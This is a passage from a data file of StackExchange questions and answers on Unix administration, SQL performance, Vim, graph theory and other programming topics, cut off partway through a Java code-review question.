{  "id": "_unix.216381"  , "question": "I want to run two instances of dnscrypt client proxies, but I'm having trouble making them automatically start at boot. Here is what I tried:In rc.local, this is the first:/usr/local/sbin/dnscrypt-proxy -a 127.0.0.1:40 -u _dnscrypt-proxy -d -l /dev/null -R dnscrypt.eu-dkand the second:/usr/local/sbin/dnscrypt-proxy2 -a 127.0.0.1:41 -u _dnscrypt-proxy2 -d -l /dev/null -R dnscrypt.org-frI cd to /usr/local/sbin and did a cp dnscrypt-proxy dnscrypt-proxy2 and then when I rebooted I would get [ERROR] Unknown User : [dnscrypt-proxy2].Then I searched and saw this question then I manually edited /etc/passwd and added a new user carefully copying the default _dnscrypt-proxy user and changed the id, as now it has these 2 entries:_dnscrypt-proxy:*688:688:dnscrypt-proxy user:/var/empty:/sbin/nologin _dnscrypt-proxy2:*689:689:dnscrypt-proxy2 user:/var/empty:/sbin/nologin`And when I reboot, the Unknown User error still persists. A quick ls on the folder shows me I do have duplicated the folder. Ps aux shows me the daemon has not started. A Google search didn't help me so I turned to the Linux experts here. My OS is OpenBSD 5.7."  , "title": "How to duplicate a daemon?"  , "tags": "openbsd;daemon"  , "accepted_answer": "First, here's the specific answer to your question of why the unknown user error persists: The error was in how you created the user. There are more files that need to be fixed than just /etc/passwd.The easiest way to properly create the user would be to simply remove that line from /etc/passwd and then run adduser -noconfig -shell -/sbin/nologin instead. (And when you edit /etc/passwd, use vipw instead of just vi /etc/passwd - see the man page for the explanation!)Second, you really don't need to create a second user. You can run the same program twice without having a copy of the program or a second user to run it under. What you need to do to run a second daemon with the same user and binary, but with different settings is simple:Copy the init script for the daemon to one with another name. (You've already done this.)Edit the new init script. Keep the same path to the binary and the same username. Change only the options that you want to be changed!Voil - you're ready to run!"  } 
{  "id": "_codereview.35858"  , "question": "This is a stored procedure that takes 5-30+ minutes to run depending on the parameter they select.It also has a nasty side effect of clogging down our SQL Server.SET NOCOUNT ON;    DECLARE @clients TABLE (customer varchar(200))    IF (NULLIF(@startdate, '') IS NULL)        set @startdate = getdate()-7    IF (NULLIF(@enddate, '') IS NULL)        set @enddate = getdate()    IF (ISNULL(@clientName,'') = 'ALL')        INSERT INTO @clients SELECT customer FROM customer (NOLOCK)    ELSE IF(ISNULL(@clientName,'') = 'Capital One')        INSERT INTO @clients SELECT customer FROM customer (NOLOCK) WHERE customer in ('0000380','0000611','0000541','0000715')    ELSE IF(ISNULL(@clientName,'') = 'PRA')        INSERT INTO @clients SELECT customer FROM customer (NOLOCK) WHERE customer in ('0000411')    ELSE IF(ISNULL(@clientName,'') = 'Midland')        INSERT INTO @clients SELECT customer FROM customer (NOLOCK) WHERE customer in ('0000584')    ELSE IF(ISNULL(@clientName,'') = 'Trak')        INSERT INTO @clients SELECT customerid FROM fact (NOLOCK) WHERE customgroupid=25    ELSE IF(ISNULL(@clientName,'') = 'Hanna')        INSERT INTO @clients SELECT customer FROM customer (NOLOCK) WHERE customer in ('0000644','0000647','0000648','0000665','0000697','0000726','0000773','0000803','0000804','0000814')    ELSE        INSERT INTO @clients SELECT customer FROM customer (NOLOCK) WHERE customer = @clientName    -- Insert statements for procedure here    select distinct m.number as FileNumber        ,isnull(dbi.bankname, '') as Bank        ,c.name as ClientName        ,CONVERT(VARCHAR(10),m.received,101) as ReceivedByFirm        ,'' as ChargeOffDate        ,datediff(d, m.received, getdate()) as AgeOfDebt        ,0 as DebtAmount        ,case when d.lastname = '' then d.name else d.lastname end as DebtorLastName -- show d.name if debtor last name is blank        ,CONVERT(VARCHAR(10),m.dob,101) as DateOfBirth        ,dbo.stripnondigits(d.zipcode) as DebtorZipcode        ,d.state as DebtorState        ,d.homephone        ,d.workphone        ,'' as MobilePhone -- no mobile phone         ,case when d.ssn != '' then 1 else 0 end as HasSSN        ,case when pe.verified is not null then 1 else 0 end as Employed        ,(select dbo.mmSddSyyyy(max(lr.DateProcessed)) from LetterRequest lr            WHERE lr.DateProcessed>'' AND lr.DateRequested<GETDATE() AND Deleted=0             AND LetterCode in ('40029','50046','09997','09998','09999','10001','10002','10003','10004','10005','10006','10010','10011','10014','10015','50050','50041','50042','50001','50030','50040','50045','50060','50090','11001') AND lr.AccountID=m.number) as FirstLetterDate --Date letter sent to debtor by law firm        ,(select min(created) from notes where number=m.number AND action like 'T%') as FirstCall        ,(select count(created) from notes where number=m.number and created between @startdate and @enddate and action like 'T%') as TotalCalls        ,(select case when count(created) > 0 then 1 else 0 end from notes where number=m.number and created between @startdate and @enddate and action = 'DT') as DebtorCalledFirm        ,(select isnull(max(dbo.mmsddsyyyy(created)), '') from notes where number=m.number and created between @startdate and @enddate and action = 'DT') as DebtorCalledFirmDate        ,case when m.status in ('PIF', 'SIF') then 1 when m.qlevel in (998,999) then 3 else 2 end as CollectionStatus        ,m.desk as CollectorName        ,isnull((select isnull(dbo.mmSddSyyyy(cc.DateFiled), '') from courtcases cc            where cc.accountid = m.number and cc.DateFiled>'1900-01-01 00:00:00' and isnull(cc.casenumber,'')!=''            and (m.current1+m.current2+m.current3+m.current4+m.current5+m.current6+m.current7+m.current8+m.current9+m.current10)>0), '') as SuitDate        ,(select isnull(dbo.mmSddSyyyy(cc.ServiceDate), '') from courtcases cc where cc.accountid = m.number) as ServiceDate        ,(select isnull(dbo.mmSddSyyyy(cc.JudgementDate), '') from courtcases cc where cc.accountid = m.number) as JudgmentDate        ,isnull((select max(dbo.mmSddSyyyy(s.DateChanged))            from statushistory s inner join courtcases cc on s.accountid=cc.accountid inner join debtors d on d.number = cc.accountid            where s.accountid=m.number and isnull(cc.JudgementDate,'')!='' and s.DateChanged >'1900-01-01 00:00:00' and                 s.newstatus in ('LNG','LXG','WGS','WGW','GIL','GNG') and isnull(cc.ServiceDate,'')!='' and isnull(d.jobname,'')!=''                and s.id not in (select historyid from statuserror where accountnumber = m.number)), '') as GarnishmentDate        ,getdate() as Today        ,(select case when count(number) > 0 then 1 else 0 end from payhistory ph            where ph.number = m.number and batchtype in ('PU', 'PC')) as PaymentMade        ,isnull(datediff(d, m.received, getdate()) - (select datediff(d, min(ph.datepaid), getdate()) from payhistory ph where ph.number = m.number and batchtype in ('PU', 'PC')), '') as DaysElapsed        ,case when m.status = 'PIF' then 'PIF' when m.status = 'SIF' then 'SIF' when m.status = 'PPA' then 'PPA' else '' end as PaymentMethod        ,m.paid+m.paid1+m.paid2+m.paid3+m.paid4+m.paid5+m.paid6+m.paid7+m.paid8+m.paid9+m.paid10 as TotalPaid        ,m.score as CollectionScore        ,m.original as OriginalClaim        ,isnull(datediff(d, m.received, m.chargeoffdate), '') as ChargeOff        ,case when (isnull((select isnull(dbo.mmSddSyyyy(cc.DateFiled), '') from courtcases cc            where cc.accountid = m.number and cc.DateFiled>'1900-01-01 00:00:00' and isnull(cc.casenumber,'')!=''            and (m.current1+m.current2+m.current3+m.current4+m.current5+m.current6+m.current7+m.current8+m.current9+m.current10)>0), '')) = '' then 1 else 0 end as SuitFiled        ,case when (select isnull(dbo.mmSddSyyyy(cc.JudgementDate), '') from courtcases cc where cc.accountid = m.number) = '' then 1 else 0 end as JudgmentObtained        ,'' as JudgmentInOurFavor        ,case when (isnull((select max(dbo.mmSddSyyyy(s.DateChanged))            from statushistory s inner join courtcases cc on s.accountid=cc.accountid inner join debtors d on d.number = cc.accountid            where s.accountid=m.number and isnull(cc.JudgementDate,'')!='' and s.DateChanged >'1900-01-01 00:00:00' and                 s.newstatus in ('LNG','LXG','WGS','WGW','GIL','GNG') and isnull(cc.ServiceDate,'')!='' and isnull(d.jobname,'')!=''                and s.id not in (select historyid from statuserror where accountnumber = m.number)), '')) = '' then 1 else 0 end as Garnishment    from master m    inner join customer c on c.customer = m.customer    inner join debtors d on d.number = m.number    inner join jm_people p on p.accountid = m.number    left outer join jm_peopleemployment pe on pe.pid = p.pid    left outer join debtorbankinfo dbi on dbi.acctid = m.number    where m.customer IN (SELECT customer from @clients)    order by m.number"  , "title": "Stored procedure to run a credit-card debt query"  , "tags": "sql;sql server;time limit exceeded"  , "accepted_answer": "performance review of SQL code without knowing the cardinality of the data, and the indexes used, is a real challenge, but, I would recommend that you try two things:first, try make @customer table a top-level item in the Join:from @customer csubinner join master m on csub.customer = m.customerinner join customer c on csub.customer = c.customer.....The other item that concerns me is that you use the DISTINCT keyword. This automatically implies a temp-table and a sort. This could be a 'killer' for this query because it has to compute and save all the select-value calculations. From what I can tell, there is no reason why you should get duplicate data anyway.The 'order-by' may be possible to solve without a temp table (perhaps the query-plan can be tweaked to query off the master table in number order using an index (is the data clustered by number?), but I would consider removing it (the order-by) as well, unless you really need the data sorted by that."  } 
{  "id": "_cstheory.21962"  , "question": "Is there an approach to graph isomorphism considering that we are already given a partial isomorphism ?In particular, it would be interesting to have conditions on this partial isomorphism that makes the problem polynomial.This question arises from automata theory, where one approach to testing equivalence of two NFAs on alphabet $A$ is to compute their syntactic semigroups $M_1,M_2$ (of exponential size) together with functions $h_1:A\\to M_1$, $h_2: A\\to M_2$. Testing semigroup isomorphism is hard in the general case, but here we can do it polynomially, because $h_1,h_2$ already give us a partial isomorphism for a set of generators, which is enough. For graphs, an obvious sufficent condition for such a partial isomorphism to make the problem polynomial would be containing a covering set (in the sense each edge contains a vertex in it) . Maybe there are more subtle conditions that would still work ? "  , "title": "graph isomorphism given a partial isomorphism"  , "tags": "graph isomorphism"  } 
{  "id": "_unix.310226"  , "question": "I would like to map the Windows/Meta key in my vimperatorrc & vimrc, including Meta-key bindings for tab movement: move to previous tabnnoremap <M-h> gT move to next tabnnoremap <M-l> gtUnfortunately neither Vimperator nor Vim accepts these bindings. Although they do not complain, the bindings simply do not work.According to this tutorial: How to map keys in Vim, <M-...> should map the meta (windows) key?!Any ideas?System setup:I am using Vim and Vimperator on Manjaro (Arch Linux Fork) within KDE. Thus, Vim runs in Yakuake (KDE's terminal manager/multiplexer) and Vimperator in FireFox 48.Sidenote: Vim shows the same behavior when launched in a normal terminal, outside of Yakuake."  , "title": "Vim & Vimperator: Map Windows/Meta key?"  , "tags": "vim;keyboard shortcuts"  , "accepted_answer": "In Vim, meta is the same as alt. Cp. :help meta:<M-...>     alt-key or meta-key     *meta* *alt* *<M-*<A-...>     same as <M-...>         *<A-*In Pentadactyl, this supposedly works (cp. :help key-notation):<A->: The alt key.<M->: The meta key, windows key, or command key.But at least for me (on Ubuntu with Gnome classic), meta mappings don't work at all (probably because they don't arrive in the browser at all)."  } 
{  "id": "_unix.56391"  , "question": "If I have a virtualenv activated when I do something like sudo apt-get install python2.7-devshould I expect different results than if I did it outside the virtual env?Limited theory says no, but I'm not sure I'm aware of everything I should be."  , "title": "When I am in VirtualEnv and do apt-get install, is there any difference?"  , "tags": "apt;python"  , "accepted_answer": "virtualenv is Python-specific, so no: apt-get will operate in your whole system. Thus there will be no different results."  } 
{  "id": "_webmaster.14731"  , "question": "I try to setup SSL on my server for only one web site (I have few there using IIS7). I bought an SSL certificate, installed it but when I come to bind I don't have to option to specify the host name. From reading some posts here I understood I need a distinct IP address.I didn't purchase a wildcard certificate, I got staging.mydomain.com.My question is:My server has a distinct IP, can I use it although I have other sites there but they don't need ssl?If I do need to buy dedicated IP. What does it involve? "  , "title": "SSL Certificate and IP Binding"  , "tags": "iis7;security certificate"  , "accepted_answer": "In answer to your question:1 . My server has a distinct IP, can I use it although I have other sites  there but they don't need ssl?There is really no mucking about when it comes to SSL, your site will need its own IP address for a single domain SSL. There are various hacks and bodges I've seen people do over the years, they all end in tears.2 . If I do need to buy dedicated IP. What does it involve?If you're self hosting your server in an office/home at the end of a DSL or cable service then you need to ask your provider for a range of static IP addresses. If your server is rented from a hoster (RackSpace, Orcs etc) or it's your own hardware in a data-centre then you'd need to ask the hoster or IP transit provider for more IP addresses.As to cost, this can vary from one-off payments of around $50 for a /29 (6 usuable addresses) to annual renting of an IP address of perhaps $10 per IP/per year. It will vary enormously from provider to provider.One thing to note is that if you change DSL/Cable/Hosting/Transit provider - you can't take the IP addresses allocated with you. They are part of their larger allocation from a regional internet registry and owned by them."  } 
{  "id": "_cogsci.13019"  , "question": "I've come across these terminologiesthreshold symptoms and sub-threshold symptomsin one of the papers in psychology where delayed reactions are introduced:Empirical studies that have mapped PTSD symptoms over time in fact observed what appear to be delayed elevations in the direction of threshold symptoms...However, I don't have any ideas what those words are all about."  , "title": "What are threshold symptoms and sub-threshold symptoms?"  , "tags": "clinical psychology;psychology;ptsd"  } 
{  "id": "_softwareengineering.307928"  , "question": "If I am assigned a bug, I sometimes check version control to see when it was introduced. Should I notify the developer that introduced the bug, even if I already fixed it? The advantage is that it could help learning but the disadvantage is it could seem like criticism"  , "title": "Should I notify my colleagues when I find a bug in their code?"  , "tags": "bug"  } 
{  "id": "_unix.119970"  , "question": "I'm trying to intercept the clone system call so that I could print user ID and process ID before the actual system call executes. I am using get_user_id()->uid to access user ID in kernel module but it returns user ID in kuid_t type, which I can not cast to int. Is there any other way to do this? I've read about using getuid() (from unistd.h) in other forums but interestingly the compiler recognizes the  first use of this function as an implicit declaration."  , "title": "User ID in kernel module"  , "tags": "linux kernel;kernel modules;uid"  , "accepted_answer": "That struct is defined in include/linux/uidgid.h. The only thing it contains is a val member of type uid_t, which is what the userspace getuid returns (an unsigned int on Linux, follow the headers by browsing via Linux Cross Reference for example).Either access it directly from your kuid_t variable, or use __kuid_val from that same header."  } 
{  "id": "_softwareengineering.343378"  , "question": "Say I have two views (Table View for example) that I'd like them to do different stuff; each loads different data but behaviors are similar for most par except what happens when a cell tapped for instance. One shows a list of entries, another a list of users, another a list of comments, etc.  I can write one subclass of UITableViewControler for all with a flag variable to distinguish the logic or a separate sub class per each view controller. I am trying to figure out what is best. I know smaller blocks are easier to debug, etc. But yet again, it's sort of repeating code to have multiple of the same class boilerplate. What would a good approach here? "  , "title": "Which one is more efficient; a subclass of UITableViewController for multiple purposes or multiple sub classes each for a purpose?"  , "tags": "design patterns;object oriented;ios;objective c;swift language"  } 
{  "id": "_webmaster.105057"  , "question": "Ports are blocked by firewall causing me to have no connection on my s5, unless I use a VPN. Please help.   Desperate !!"  , "title": "Blocked Ports 5228, 5229, 5230 and many more"  , "tags": "firewall"  } 
{  "id": "_cs.76234"  , "question": "I am a TA for an introductory CS course, and one question given to students was how to use BFS to determine the diameter of a graph. The students were told they wouldn't be graded for efficiency, so the expected answer was a brute force algorithm where they ran BFS from every node to every other node and returned the maximum distance from these BFS runs. The students were provided with a BFS method they could reference in their pseudocode which took as an input a node and returned two mappings: one from each node in the graph to its distance from the start node (called distmap), and one from each node to its 'parent node' along the shortest path from the input node (called parentmap). One student wrote the following algorithm:1. Choice an arbitrary node from the graph and run BFS from it.2. Create a set Temp of all the nodes that are not values in parentmap (ie nodes which don't lie upon any shortest paths)3. Initialize max_dist to 04. For each node n in Temp:    5. Run BFS from n    6. For each value d in distmap:        7. IF d > max_dist THEN set max_dist equal to d8. RETURN max_distI believe this answer is correct, but I am unable to prove it. Can someone prove why it works or provide a counterexample?"  , "title": "Correctness of Algorithm for Computing Diameter of a Graph"  , "tags": "graphs;graph theory;graph traversal"  } 
{  "id": "_unix.261040"  , "question": "I am logged into a (normal) user, but when I go su : password my normal promt goes into showing me this instead of what it should. how to I fix this? 10:15 AM (~) $ suPassword: \\033[1;31m \\@ \\033[1;33m(\\033[1;34m\\W\\033[1;33m) \\033[1;31m$ \\033[0mI am using this case statment to change prompts depending on which term is fired up. which_term(){    term=$(ps -p $(ps -p $$ -o ppid=) -o args=);    found=0;    case $term in        *terminator*)            found=1            export PS1=\\@ \\[\\e[34;43m\\]\\w\\[\\e[m\\]\\\\$              if [ -f /usr/bin/screenfetch ]; then screenfetch; fi            ;;        *terminology*)            found=1            #  echo terminology               export PS1= \\[\\e[31m\\]%\\[\\e[35m\\]\\u\\[\\e[m\\]\\[\\e[36m\\]@\\[\\e[m\\]\\[\\e[35m\\]\\h\\[\\e[m\\] \\[\\e[32m\\]\\T\\[\\e[m\\] \\[\\e[36m\\]\\w\\[\\e[m\\]\\[\\e[31m\\] >>$\\[\\e[m\\]\\`nonzero_return\\`               if [ -f /usr/bin/screenfetch ]; then screenfetch; fi            ;;        urxvt*)            found=1           # echo rxvt              #PS1='%\\u@\\h \\@ \\W >>\\$'             export PS1=\\[\\e[33m\\]%\\[\\e[m\\]\\[\\e[31m\\]\\u\\[\\e[m\\]\\[\\e[33m\\]@\\[\\e[m\\]\\[\\e[31m\\]\\h\\[\\e[m\\]:\\[\\e[36m\\]\\@\\[\\e[m\\]\\[\\e[33m\\]\\w\\[\\e[m\\]\\[\\e[31m\\] >>\\[\\e[m\\]\\[\\e[33m\\]\\\\$\\[\\e[m\\]             #export PS1='\\033[1;31m \\033[1;33m(\\033[1;34m\\W\\033[1;33m)\\@\\033[1;31m\\$ \\033[0m'            ;;        Eterm*)            found=1            export PS1=\\d \\@ Scooby-Doo\\w\\\\$            # if [ -f /usr/bin/screenfetch ]; then screenfetch -t; fi            ;;        aterm*)            found=1             export PS1=\\d \\@ Aterm\\w\\\\$              ;;        roxterm*)            found=1             export PS1='% \\@ \\u@\\h \\W>>\\$'            ;;        mrxvt*)            found=1            export PS1=\\[\\e[31m\\]\\T\\[\\e[m\\]\\[\\e[33m\\]@\\[\\e[m\\]\\[\\e[31m\\]\\u\\[\\e[m\\]\\[\\e[34m\\]\\h\\[\\e[m\\]\\[\\e[35;42m\\]\\W\\[\\e[m\\]             ;;        ## Try and guess for any others        *)        export PS1='\\033[1;31m \\@ \\033[1;33m(\\033[1;34m\\W\\033[1;33m) \\033[1;31m\\$ \\033[0m'     if [ -f /usr/bin/screenfetch ]; then screenfetch -t; fi            ;;    esac    ## If none of the version arguments worked, try and get the     ## package version    [ $found -eq 0 ] && echo $term  $(dpkg -l $term | awk '/^ii/{print $3}')    }    which_term"  , "title": "how to get terminal to show root prompt in su"  , "tags": "terminal;bashrc"  } 
{  "id": "_unix.121435"  , "question": "How do I add a bootloader to a Linux ISO?When I isoinfo -d -i ... I do not see the bootloader on one of the ISO's that I have; but on another ISO there is a bootloader. "  , "title": "How to add bootloader to ISO? Or, make ISO bootable?"  , "tags": "linux;boot loader;iso"  } 
{  "id": "_unix.379589"  , "question": "I have a file fooap.p and I am using sed command to get the output like fooap.echo fooap.p | sed s/\\.\\p//g but the output I am getting is just foo.Am I missing something?"  , "title": "replacing special characters using sed command"  , "tags": "sed"  } 
{  "id": "_vi.3615"  , "question": "If I have the folowing file:XX:YY:ZZ foobar: some textXX:YY:ZZ foobar: some other texta text breaking the patternXX:YY:ZZ foobar: some more textAnd I want to operate on the differents parts XX:YY:ZZ foobar: of the lines. When I am on the first line I can select the text that I want with, for example, v3f:. Now when I am on the second or on the last line how can I select this same text without type once again v3f:?I insist on the fact that I need to select the texts sequentially and not all the occurences at the same time.I know the command gv which allows to re-select the last selected area but in my case it will select the 16 first characters of the first line which is not what I want.To sum it up How can I execute again the last selection command?(Also I wasn't sure about the tags I should use for this question don't hesitate to edit/suggest the right ones to use)"  , "title": "How to select with the same movement but on a different line"  , "tags": "cursor movement;search"  , "accepted_answer": "You could simply create a quick mapping::nnoremap <key> 0v3f:Or use a macro recording:qq0v3f:qthen:@qHere is another method, lifted from the experimental part of my config:function! GetVisualSelection()  let old_reg = @v  normal! gvvy  let raw_search = @v  let @v = old_reg  return substitute(escape(raw_search, '\\/.*$^~[]'), \\n, '\\\\n', g)endfunctionnnoremap <key> *``gn<C-g>inoremap <key> <C-o>gn<C-g>xnoremap <key> <Esc>:let @/ = GetVisualSelection()<CR>gn<C-g>Select your text with v3f:.Press <key> to enter insert mode.Edit the selection directly.Press <key> again to jump to the next match.GOTO 3--- edit ---GetVisualSelection() returns a representation of the selected text suitable for use as a search pattern (escaped slashes and so on).The normal mode mapping jumps to the next occurrence of the word under the cursor (with *), comes back (with ``), selects the last search (with gn, here it is the word under the cursor) and switches to select mode (<C->g) to allow us to type right away.The insert mode mapping temporarily jumps out of insert mode (with <C-o>) to jump to and select the next occurrence (with gn) and switches to select mode.The visual mode mapping has the same function as the normal mode mapping but it is implemented differently: it goes out of visual mode (with <Esc>), places a prepared representation of the selected text in the search register (with :let @/ = GetVisualSelection()<CR>), jumps to and select the next occurrence (with gn) and switches to select mode (with <C-g>.--- endedit ---"  } 
{  "id": "_cstheory.21100"  , "question": "It is a common belief that $\\mathbf{P}\\subsetneq\\mathbf{PSPACE}$, thus (most likely) there are problems that are harder for time than for space. But is there a problem in $\\mathbf{P}$ with a poly-space lower bound (say for multi tape TM), i.e. is there a space-hard problem in $\\mathbf{P}$?Similarly, is there a problem in $\\mathbf{P}$ with a good non-deterministic time lower bound? Is there a problem in $\\mathbf{NP}$ with poly-space lower bound? ..."  , "title": "Problems of similar complexity for different measures"  , "tags": "cc.complexity theory;complexity classes"  , "accepted_answer": "The answer to the first question is that we don't know, because we don't know whether $\\mathbf P=\\mathbf L$, so it could be that all $\\mathbf P$ problems use only logarithmic space.For the second one, most reasonable problems need at least linear time to read the input, even for non-deterministic machines, so it does not make a lot of sense to say polynomial non-deterministic lower bound, or you need to make your question more precise.Finally, the last question is like the first one: it could be that $\\mathbf{NL}=\\mathbf{NP}$, in which case such a problem wouldn't exist, we don't know..."  } 
{  "id": "_softwareengineering.166530"  , "question": "Possible Duplicate:Best practices for retrofitting legacy code with automated tests I've been working on a project in Flex for three years now without unit testing. The simple reason for that is the fact that I just didn't realize the importance of unit testing when being at the beginning of studies at university. Now my attitude towards testing changed completely and therefore I want to introduce it to the existing project (about 20000LOC).In order to do it, there are two approaches to choose from:1) Discard the existing codebase and start from scratch with TDD2) Write the tests and try to make them pass by changing the existing codeWell, I would appreciate not having to write everything from scratch but I think by doing this, the design would be much better.What would be your approach?"  , "title": "Introduce unit testing when codebase is already available"  , "tags": "unit testing;tdd;refactoring"  , "accepted_answer": "Rewriting from scratch just so you can have automated tests is silly - you have a codebase that (mostly) works, and you probably can test it (just not automatically). A rewrite, even with all the tests in the world, introduces extra risk, and it always takes longer than expected. So don't do that.Writing tests to achieve 100% coverage in one go is also silly, because it means you are halting on-going development to implement something which doesn't add any value yet. In most situations, this is unacceptable. Further, writing tests for code that already works and doesn't need changing has little benefit other than verifying that it does indeed work (but if it's running in production, you better be pretty sure about that already).The best way to go, IMO, is to add tests as you go. That is, for every change you make, apply the following steps:See whether existing tests sufficiently describe the current functionality.If necessary, add tests to capture the current functionality of that particular part / module / class / function / ... Verify that they pass.Refactor existing code if necessary.Modify the tests to reflect the intended new behavior.Modify the code to make the tests pass.Refactor.Steps 4 through 6 are just basic TDD; the only addition is that you retroactively add tests as needed before you start the actual TDD cycle.If you follow this procedure, and the tests you add in step 2 are sufficient, the codebase will gradually move towards full test coverage.Of course, if you are going to rewrite anyway, for different reasons, then going TDD right from the start is probably a good idea."  } 
{  "id": "_vi.13194"  , "question": "When writing block quotes Markdown, I want to make vim act the same way it does with comment leaders and automatically start new lines with the '>'. I also want to be able to format text this way with gq. How can I do this? I set my formatoptions to fo+=tacqw."  , "title": "Automatically add '>' at beginning of line following one starting with '>' when writing Markdown"  , "tags": "formatting;filetype markdown"  , "accepted_answer": "It turns out vim handles block quotes in Markdown pretty much the way I asked for since at least version 7.4. It loads ftplugin/markdown.vim which sets '>' as a comment leader. It also adds the t flag to formatoptions and removes the r and o flags. That means if you write until the text is longer than textwidth, you get a new line that starts with >. But if you just press enter or add a new line with o or O you won't get the '>' on the new line. So if you want this functionality you have to override the file type plugin. You can do that by creating the file .vim/after/ftplugin/markdown.vim and adding set formatoptions+=ro to it.My situation was that I had some paragraphs in a Markdown file that I wanted to turn into blockquotes by adding '>' at the start of every line. The paragraphs were already formatted so there were hard line breaks in them. I added '>' to the start of the first line and expected vim to make the whole paragraph commented if I used gq over it. Obviously that's not what gq does when you have a hard line break after what it recognizes as a comment. If it did, code written after a comment when programming would itself be commented out. We can solve the problem if we join the lines of the paragraph by pressing [count]J where [count] is the number of lines to be joined. Then gq will format the paragraph as we want. If you have the a flag in formatoptions it's not necessary to use gq because the text is automatically reformatted."  } 
{  "id": "_reverseengineering.6323"  , "question": "Here is my question: How can the Windows 7, 8, etc. boot process work?The first piece of code loaded from the volume boot sector of the OS is bootmgr.exe. But here's why this doesn't make sense:An exe is a portable executable file, which is composed of metadata that the OS (Windows) parses. There's no way the boot manager can be a PE file when mostly the entire OS needs to be loaded to parse PEs, namely the loader, memory management services, system threads for VM, device drivers, etc.So how can the first program be a PE? My assumption is that it can't, or else it wouldn't make sense (the CPU does not parse PEs unless Windows' loader software tells it to).So basically, on the lowest-level, the Windows boot process is false/misdealing info?"  , "title": "Windows boot process doesn't make sense!"  , "tags": "assembly;hardware;binary;binary format"  } 
{  "id": "_cs.46867"  , "question": "is there any difference between transition systems and finite automata? Is it that transition systems consist of both NFA (nondeterministic finite automata)and DFA (deterministic finite automata)? "  , "title": "What is the difference (if any) between transition systems and finite automata?"  , "tags": "terminology;automata;finite automata;transition systems"  , "accepted_answer": "Yes, did you try wikipedia?To quote the second paragraph [in transition systems]:The set of states is not necessarily finite, or even countable.The set of transitions is not necessarily finite, or even countable.No start state or final states are given."  } 
{  "id": "_webapps.98703"  , "question": "A       B      C       D         E-----------------------------------foo    bar    test    foobar-----------------------------------10     13      3       1      bar-----------------------------------9      3       3       9       ?I am trying to identify the highest number of results in my survey and have it appear in column E. However, I can't figure out how make a tie appear in column E. It doesn't matter whether it takes multiple columns to get what I want. Here is the formula I used for the first row of data.=INDEX(A$1:D$1, 1, MATCH(MAX(A2:D2), A2:D2, 0))  "  , "title": "Use MATCH but with 2 identical values in Sheets"  , "tags": "google spreadsheets"  } 
{  "id": "_unix.24378"  , "question": "When I type something which is neither a zsh builtin and no such executable is found from $PATH, zsh just reports an error. Instead, I would like zsh to check if a named directory exists with that name and cd into it. I tried defining command_not_found_handler() function but it didn't work as it forks a sub-shell to execute that function and hence directory change is not reflected in the actual shell.Is it something that is already possible with some settings or a new (useful?) feature?"  , "title": "How to cd into the named directory if command not found?"  , "tags": "zsh"  } 
{  "id": "_unix.79067"  , "question": "I work on a server software that is targeted for RHEL/CentOS and is currently distributed via a standard RPM file. What brings me here is that it includes a downloadable client engine that users can get to by going through the main web UI.So this is what I have:Downloadable agent is still something my company maintains but it has a separate release cycle.Each new RPM version is typically associated with a specific agent version (typically also newer, but potentially could be the same)When users upgrade the server, they may wish to continue using the same agentAgent install is currently packaged with the RPM, so when the server is upgraded, older version of the agent is removed from the system.Apparently (4) is not desirable so what we want is to keep all agent versions that have every been installed even as the server component is being upgraded.One possible solution that might work is to put agent into its own RPM that has agent version number in the name and that the main RPM would require as its dependency.  So when the product is installed, rpm -qa would show:<product>-1.0.0<product>-agent-install-1.0.5-1.0  (might be a better way to format the name)And when the server is updated, you would see:<product>-2.0.0<product>-agent-install-1.0.5-1.0<product>-agent-install-1.2.0-1.0As I'm not by any stretch of imagination a Linux expert, I'd like to know if the strategy I outlined above is...a possible solution (i.e. I'm not missing something obvious that would kill the whole idea)an acceptable practice or a hackIs there a cleaner way that you would do instead?  For example, I could have each server install, simply copy off the agent installer into a separate directory and since the other directory is not managed by the RPM, it'll stick around and not get deleted. But would that be better?"  , "title": "Best way to release an RPM that includes an independently version module"  , "tags": "rhel;software installation;rpm"  } 
{  "id": "_unix.297262"  , "question": "After edited the /etc/security/limits.conf file to set the nofile parameter to unlimited, server got hanged . Can't login in via ssh. Tried to take console, issue with console. Will reboot of the VM will solve the login issue ?"  , "title": "Can't login after editing /etc/security/limits.conf"  , "tags": "linux;login;virtual machine;system recovery"  } 
{  "id": "_codereview.90760"  , "question": "I thought of a program where you move a square with the arrow keys. I created it and asked a question about it on Stack Overflow.I copied the last code block of the accepted answer and tried to understand it. I think I do now. Now I wanted to add something that would check if the square would move off the screen. I added that myself as seen here:Code inside Square class that replaces the move method of the copied code:public void move(Direction dir) {    if(!(x + step * dir.getIncrX() > GamePanel.getWIDTH() - w) && !(x + step * dir.getIncrX() < 0))        x += step * dir.getIncrX();    if(!(y + step * dir.getIncrY() > GamePanel.getHEIGHT() - h) && !(y + step * dir.getIncrY() < 0))        y += step * dir.getIncrY();}To achieve this I had to make the constants WIDTH and HEIGHT static and create getters for them. Is the way I created this collision detection good practise? and should the getters for the constants be called getWidth and getHeight istead of getWIDTH and GetHEIGHT?Full code:import java.awt.*;import javax.swing.*;import java.awt.event.*;import java.util.EnumMap;import java.util.HashMap;import java.util.Map;public class GamePanel extends JPanel {    private static final int ANIMATION_DELAY = 15;    private static final int HEIGHT = 500;    private static final int WIDTH = 500;    private Square square;    private EnumMap<Direction, Boolean> dirMap = new EnumMap<>(Direction.class);    private Map<Integer, Direction> keyToDir = new HashMap<>();    public GamePanel() {        for (Direction dir : Direction.values()) {            dirMap.put(dir, false);        }        keyToDir.put(KeyEvent.VK_UP, Direction.UP);        keyToDir.put(KeyEvent.VK_DOWN, Direction.DOWN);        keyToDir.put(KeyEvent.VK_LEFT, Direction.LEFT);        keyToDir.put(KeyEvent.VK_RIGHT, Direction.RIGHT);        setKeyBindings();        setBackground(Color.white);        setPreferredSize(new Dimension(getWIDTH(), getHEIGHT()));        setFocusable(true);        square = new Square();        Timer animationTimer;        animationTimer = new Timer(ANIMATION_DELAY, new AnimationListener());        animationTimer.start();        square.setStep(5);    }    public static int getHEIGHT() {        return HEIGHT;    }    public static int getWIDTH() {        return WIDTH;    }    private void setKeyBindings() {        int condition = WHEN_IN_FOCUSED_WINDOW;        final InputMap inputMap = getInputMap(condition);        final ActionMap actionMap = getActionMap();        boolean[] keyPressed = { true, false };        for (Integer keyCode : keyToDir.keySet()) {            Direction dir = keyToDir.get(keyCode);            for (boolean onKeyPress : keyPressed) {                boolean onKeyRelease = !onKeyPress;                KeyStroke keyStroke = KeyStroke.getKeyStroke(keyCode, 0, onKeyRelease);                Object key = 